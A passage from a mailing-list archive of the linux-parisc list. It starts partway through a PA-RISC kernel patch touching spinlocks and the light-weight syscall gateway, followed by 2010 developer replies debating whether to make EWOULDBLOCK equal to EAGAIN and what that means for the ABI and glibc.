+	rsm		PSW_SM_I, %r22
+1:
+	LDCW		0(%r24),%r25
+	cmpib,COND(=)	0,%r25,1b
+	nop
+#endif
+
 	/* Purge any old translation */
 
 	pdtlb		0(%r28)
 
+#ifdef CONFIG_SMP
+	ldi		1,%r25
+	stw		%r25,0(%r24)
+	mtsm		%r22
+#endif
+
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
 
 	/* PREFETCH (Write) has not (yet) been proven to help here */
 	/* #define	PREFETCHW_OP	ldd		256(%0), %r0 */
 
-1:	std		%r0, 0(%r28)
+2:	std		%r0, 0(%r28)
 	std		%r0, 8(%r28)
 	std		%r0, 16(%r28)
 	std		%r0, 24(%r28)
@@ -574,13 +592,13 @@ ENTRY(__clear_user_page_asm)
 	std		%r0, 104(%r28)
 	std		%r0, 112(%r28)
 	std		%r0, 120(%r28)
-	addib,COND(>)		-1, %r1, 1b
+	addib,COND(>)		-1, %r1, 2b
 	ldo		128(%r28), %r28
 
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
+2:
 	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
@@ -597,7 +615,7 @@ ENTRY(__clear_user_page_asm)
 	stw		%r0, 52(%r28)
 	stw		%r0, 56(%r28)
 	stw		%r0, 60(%r28)
-	addib,COND(>)		-1, %r1, 1b
+	addib,COND(>)		-1, %r1, 2b
 	ldo		64(%r28), %r28
 #endif	/* CONFIG_64BIT */
 
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index cb71f3d..84b3239 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -128,6 +128,14 @@ void __init setup_arch(char **cmdline_p)
 	printk(KERN_INFO "The 32-bit Kernel has started...\n");
 #endif
 
+	/* Consistency check on the size and alignments of our spinlocks */
+#ifdef CONFIG_SMP
+	BUILD_BUG_ON(sizeof(arch_spinlock_t) != __PA_LDCW_ALIGNMENT);
+	BUG_ON((unsigned long)&__atomic_hash[0] & (__PA_LDCW_ALIGNMENT-1));
+	BUG_ON((unsigned long)&__atomic_hash[1] & (__PA_LDCW_ALIGNMENT-1));
+#endif
+	BUILD_BUG_ON((1<<L1_CACHE_SHIFT) != L1_CACHE_BYTES);
+
 	pdc_console_init();
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f5f9602..68e75ce 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -47,18 +47,17 @@ ENTRY(linux_gateway_page)
 	KILL_INSN
 	.endr
 
-	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
+	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
 #define __NR_lws_entries (2)
 
 lws_entry:
-	/* Unconditional branch to lws_start, located on the 
-	   same gateway page */
-	b,n	lws_start
+	gate	lws_start, %r0		/* increase privilege */
+	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 
-	/* Fill from 0xb4 to 0xe0 */
-	.rept 11
+	/* Fill from 0xb8 to 0xe0 */
+	.rept 10
 	KILL_INSN
 	.endr
 
@@ -423,9 +422,6 @@ tracesys_sigexit:
 
 	*********************************************************/
 lws_start:
-	/* Gate and ensure we return to userspace */
-	gate	.+8, %r0
-	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
 
 #ifdef CONFIG_64BIT
 	/* FIXME: If we are a 64-bit kernel just
@@ -442,7 +438,7 @@ lws_start:
 #endif	
 
         /* Is the lws entry number valid? */
-	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	comiclr,>>	__NR_lws_entries, %r20, %r0
 	b,n	lws_exit_nosys
 
 	/* WARNING: Trashing sr2 and sr3 */
@@ -473,7 +469,7 @@ lws_exit:
 	/* now reset the lowest bit of sp if it was set */
 	xor	%r30,%r1,%r30
 #endif
-	be,n	0(%sr3, %r31)
+	be,n	0(%sr7, %r31)
 
 
 	
@@ -529,7 +525,6 @@ lws_compare_and_swap32:
 #endif
 
 lws_compare_and_swap:
-#ifdef CONFIG_SMP
 	/* Load start of lock table */
 	ldil	L%lws_lock_start, %r20
 	ldo	R%lws_lock_start(%r20), %r28
@@ -572,8 +567,6 @@ cas_wouldblock:
 	ldo	2(%r0), %r28				/* 2nd case */
 	b	lws_exit				/* Contended... */
 	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
-#endif
-/* CONFIG_SMP */
 
 	/*
 		prev = *addr;
@@ -601,13 +594,11 @@ cas_action:
 1:	ldw	0(%sr3,%r26), %r28
 	sub,<>	%r28, %r25, %r0
 2:	stw	%r24, 0(%sr3,%r26)
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	/* Clear thread register indicator */
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	/* Return to userspace, set no error */
 	b	lws_exit
@@ -615,12 +606,10 @@ cas_action:
 
 3:		
 	/* Error occured on load or store */
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	b	lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
@@ -672,7 +661,6 @@ ENTRY(sys_call_table64)
 END(sys_call_table64)
 #endif
 
-#ifdef CONFIG_SMP
 	/*
 		All light-weight-syscall atomic operations 
 		will use this set of locks 
@@ -694,8 +682,6 @@ ENTRY(lws_lock_start)
 	.endr
 END(lws_lock_start)
 	.previous
-#endif
-/* CONFIG_SMP for lws_lock_start */
 
 .end
 
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 8b58bf0..804b024 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -47,7 +47,7 @@
 			  /*  dumped to the console via printk)          */
 
 #if defined(CONFIG_SMP) || defined(CONFIG_DEBUG_SPINLOCK)
-DEFINE_SPINLOCK(pa_dbit_lock);
+DEFINE_SPINLOCK(pa_pte_lock);
 #endif
 
 static void parisc_show_stack(struct task_struct *task, unsigned long *sp,
diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
index 353963d..bae6a86 100644
--- a/arch/parisc/lib/bitops.c
+++ b/arch/parisc/lib/bitops.c
@@ -15,6 +15,9 @@
 arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
 	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
 };
+arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
+	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
+};
 #endif
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/math-emu/decode_exc.c b/arch/parisc/math-emu/decode_exc.c
index 3ca1c61..27a7492 100644
--- a/arch/parisc/math-emu/decode_exc.c
+++ b/arch/parisc/math-emu/decode_exc.c
@@ -342,6 +342,7 @@ decode_fpu(unsigned int Fpu_register[], unsigned int trap_counts[])
 		return SIGNALCODE(SIGFPE, FPE_FLTINV);
 	  case DIVISIONBYZEROEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
+		Clear_excp_register(exception_index);
 	  	return SIGNALCODE(SIGFPE, FPE_FLTDIV);
 	  case INEXACTEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
diff --git a/mm/memory.c b/mm/memory.c
index 09e4b1b..21c2916 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -616,7 +616,7 @@ copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	 * in the parent and the child
 	 */
 	if (is_cow_mapping(vm_flags)) {
-		ptep_set_wrprotect(src_mm, addr, src_pte);
+		ptep_set_wrprotect(vma, src_mm, addr, src_pte);
 		pte = pte_wrprotect(pte);
 	}
 

--tThc/1wpZn/ma/RB--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Sat, 15 May 2010 16:54:33 -0600
Lines: 82
Approved: news@gmane.org
Message-ID: <20100515225433.GC7587@lackof.org>
References: <4BE86174.1080008@gmx.de> <20100514192015.GB14840@lackof.org> <AANLkTil6dX7fq-1R0pyjp5XHLyuQyGwcuB1Q9FG8gqGS@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273964100 841 80.91.229.12 (15 May 2010 22:55:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 15 May 2010 22:55:00 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 16 00:54:58 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODQG1-0001sg-WC
	for glpp-linux-parisc@lo.gmane.org; Sun, 16 May 2010 00:54:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752636Ab0EOWym (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 May 2010 18:54:42 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:50732 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752492Ab0EOWym (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 May 2010 18:54:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id BE63433E0262;
	Sat, 15 May 2010 16:54:41 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gM6la4UBmgl4; Sat, 15 May 2010 16:54:33 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 1365733E0273; Sat, 15 May 2010 16:54:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <AANLkTil6dX7fq-1R0pyjp5XHLyuQyGwcuB1Q9FG8gqGS@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2861
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2861>

On Sat, May 15, 2010 at 07:24:54AM -0400, Carlos O'Donell wrote:
> On Fri, May 14, 2010 at 3:20 PM, Grant Grundler
> <grundler@parisc-linux.org> wrote:
> > On Mon, May 10, 2010 at 09:41:40PM +0200, Helge Deller wrote:
> >> Since PARISC is the only Linux architecture which has different values
> >> for EAGAIN and EWOULDBLOCK, we are running in various issues.
> >>
> >> One of them is, that e.g. glibc checks for EAGAIN instead of EWOULDBLOCK
> >> (and vise versa) in nptl/pthread_mutex_trylock.c. This doesn't hurt
> >> other architectures, but it hurts parisc.
> >>
> >> I was planning to send the patch below to linux kernel mailing list.
> >> But before I do it, I would like to get feedback from the kernel
> >> hackers here on the list.
> >>
> >> What do you think?
> >
> > Do it.
> > We kept them distinct to enable support for HPUX binaries.
> > This is never going to happen.
> 
> Grant, does this mean you endorse purging the kernel of all uses of
> EWOULDBLOCK (with the exception of the header file used by userspace)?
> 
> FWIW I think this is the right approach.

Yes, I would. Any approach to eliminate the difference is fine with me.

BTW, "purging" here just means redefining to EAGAIN so the original
value that we've been using would no longer be used anywhere.

> 
> >> Is this patch useful?
> >
> > Yes.
> >
> >> Or will people just call me an idiot if I ask if this patch could be applied?
> >> If you think it's useful, maybe another patch description would be more appropriate?
> >
> > Could we just equate like other arcthitectures so the kernel only ever
> > returns one of those and not both?
> 
> There are ABI issues that I would like to discuss before you send your
> patch upstream.
> 
> Once you change the kernel EWOULDBLOCK to be equal to EAGAIN, you have
> broken the ABI.
> 
> A kernel syscall that used to return EWOULDBLOCK, now returns EAGAIN.
> 
> An application that checked only for EWOULDBLOCK might fail now that
> EAGAIN is being returned.
> 
> Is this a concern? I don't think it is. The POSIX standard, in all
> cases I could find, says the functions return "EAGAIN or EWOULDBLOCK",
> meaning that a conforming program must check for both.

I totally understand it would break the existing API. But having them
different has it's own set of problems since some applications do not
check for both.

> The alternative to Helge's patch is a glibc patch to check the return
> of *every* syscall and convert EWOULDBLOCK to EAGAIN. This approach
> has a cost to our syscall fast path. Therefore I am not as inclined to
> follow this approach.

Agreed. Just equate them in the kernel and we don't have to change any
other kernel code and I see no reason for glibc to trap them either.
Yes, there will be some minor fallout...but now we can saw we are compliant
with every other linux architecture in this regard.

thanks,
grant

> 
> Cheers,
> Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Sat, 15 May 2010 16:59:52 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20100515225952.GD7587@lackof.org>
References: <4BE86174.1080008@gmx.de> <20100514192015.GB14840@lackof.org> <AANLkTil6dX7fq-1R0pyjp5XHLyuQyGwcuB1Q9FG8gqGS@mail.gmail.com> <20100515172749.GE6764@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273964409 1680 80.91.229.12 (15 May 2010 23:00:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 15 May 2010 23:00:09 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 16 01:00:05 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODQKz-0003q8-FB
	for glpp-linux-parisc@lo.gmane.org; Sun, 16 May 2010 01:00:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751417Ab0EOXAE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 May 2010 19:00:04 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:49659 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751222Ab0EOXAB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 May 2010 19:00:01 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 5D8D133E0262;
	Sat, 15 May 2010 17:00:01 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AkLiF+gljuWa; Sat, 15 May 2010 16:59:52 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id C7A9033E0273; Sat, 15 May 2010 16:59:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20100515172749.GE6764@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2862
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2862>

On Sat, May 15, 2010 at 01:27:49PM -0400, Kyle McMartin wrote:
> It's a two instruction penalty(*) in the kernel syscall return path, just
> do it there. I've got a box at Red Hat with all the source to the whole
> damn world on it we run greps against to look for dumb stuff like memcpy
> bugs.

Why look for it? Just change the kernel to not ever return one of them.

>  I'll toss a grep for EAGAIN and not EWOULDBLOCK and vice versa and
> see how much stuff might b0rk.

Please do...I'd be curious to see which programs might be affected and
if we care.

> We discussed this a couple years ago, and it ended up being a complete
> rats nest of error returns that needed fixing.
> 
> regards, Kyle.
> 
> *: CMPI,N(=), LDI, maybe a third since I don't remember how sign
> extension works off the top of my head.

Mispredicted branches cost something like 20-25 cycles. I forgot now but I
do know they aren't cheap.

I'd rather not add more hacks for this they are unlikely to ever
be removed again. I'd rather have status quo than add some hack
to the syscall return path.

thanks,
grant

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Sat, 15 May 2010 19:03:59 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <20100515230359.GF6764@bombadil.infradead.org>
References: <4BE86174.1080008@gmx.de> <20100514192015.GB14840@lackof.org> <AANLkTil6dX7fq-1R0pyjp5XHLyuQyGwcuB1Q9FG8gqGS@mail.gmail.com> <20100515172749.GE6764@bombadil.infradead.org> <20100515225952.GD7587@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1273964651 2368 80.91.229.12 (15 May 2010 23:04:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 15 May 2010 23:04:11 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 16 01:04:09 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODQOs-0003q8-9e
	for glpp-linux-parisc@lo.gmane.org; Sun, 16 May 2010 01:04:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752089Ab0EOXEF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 May 2010 19:04:05 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33122 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751307Ab0EOXEF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 May 2010 19:04:05 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1ODQOl-0001Co-KF; Sat, 15 May 2010 23:03:59 +0000
Content-Disposition: inline
In-Reply-To: <20100515225952.GD7587@lackof.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2863>

On Sat, May 15, 2010 at 04:59:52PM -0600, Grant Grundler wrote:
> On Sat, May 15, 2010 at 01:27:49PM -0400, Kyle McMartin wrote:
> > It's a two instruction penalty(*) in the kernel syscall return path, just
> > do it there. I've got a box at Red Hat with all the source to the whole
> > damn world on it we run greps against to look for dumb stuff like memcpy
> > bugs.
> 
> Why look for it? Just change the kernel to not ever return one of them.
> 

Because the failure case of just changing the #define in the kernel is a
runtime error for old code.

> >  I'll toss a grep for EAGAIN and not EWOULDBLOCK and vice versa and
> > see how much stuff might b0rk.
> 
> Please do...I'd be curious to see which programs might be affected and
> if we care.
> 
> > We discussed this a couple years ago, and it ended up being a complete
> > rats nest of error returns that needed fixing.
> > 
> > regards, Kyle.
> > 
> > *: CMPI,N(=), LDI, maybe a third since I don't remember how sign
> > extension works off the top of my head.
> 
> Mispredicted branches cost something like 20-25 cycles. I forgot now but I
> do know they aren't cheap.
> 

That's not a branch, Grant.

> I'd rather not add more hacks for this they are unlikely to ever
> be removed again. I'd rather have status quo than add some hack
> to the syscall return path.
> 

The alternative is to rebuild all of userspace, again.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Sat, 15 May 2010 20:38:34 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20100516003835.362434E77@hiauly1.hia.nrc.ca>
References: <4BE86174.1080008@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1273970323 15324 80.91.229.12 (16 May 2010 00:38:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 16 May 2010 00:38:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 16 02:38:41 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODRsN-0005r5-01
	for glpp-linux-parisc@lo.gmane.org; Sun, 16 May 2010 02:38:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752329Ab0EPAih (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 May 2010 20:38:37 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1889 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752020Ab0EPAih (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 May 2010 20:38:37 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 362434E77; Sat, 15 May 2010 20:38:34 -0400 (EDT)
In-Reply-To: <4BE86174.1080008@gmx.de> from "Helge Deller" at May 10, 2010 09:41:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2864
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2864>

> Since PARISC is the only Linux architecture which has different values
> for EAGAIN and EWOULDBLOCK, we are running in various issues.
> 
> One of them is, that e.g. glibc checks for EAGAIN instead of EWOULDBLOCK
> (and vise versa) in nptl/pthread_mutex_trylock.c. This doesn't hurt
> other architectures, but it hurts parisc.

Glibc should be fixed so that it is complient with IEEE Std 1003.1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex.c and EWOULDBLOCK vs. EAGAIN patch
Date: Sun, 16 May 2010 10:12:07 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20100516161207.GA21902@lackof.org>
References: <4BE86174.1080008@gmx.de> <20100514192015.GB14840@lackof.org> <AANLkTil6dX7fq-1R0pyjp5XHLyuQyGwcuB1Q9FG8gqGS@mail.gmail.com> <20100515172749.GE6764@bombadil.infradead.org> <20100515225952.GD7587@lackof.org> <20100515230359.GF6764@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1274026346 26425 80.91.229.12 (16 May 2010 16:12:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 16 May 2010 16:12:26 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 16 18:12:21 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ODgRu-0006E2-Ef
	for glpp-linux-parisc@lo.gmane.org; Sun, 16 May 2010 18:12:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752193Ab0EPQMR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 May 2010 12:12:17 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:53397 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751863Ab0EPQMR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 May 2010 12:12:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 51E3233E000F;
	Sun, 16 May 2010 10:12:16 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2rCDwYdy513A; Sun, 16 May 2010 10:12:07 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 50C4633E0252; Sun, 16 May 2010 10:12:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20100515230359.GF6764@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2865
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2865>

On Sat, May 15, 2010 at 07:03:59PM -0400, Kyle McMartin wrote:
...
> > > *: CMPI,N(=), LDI, maybe a third since I don't remember how sign
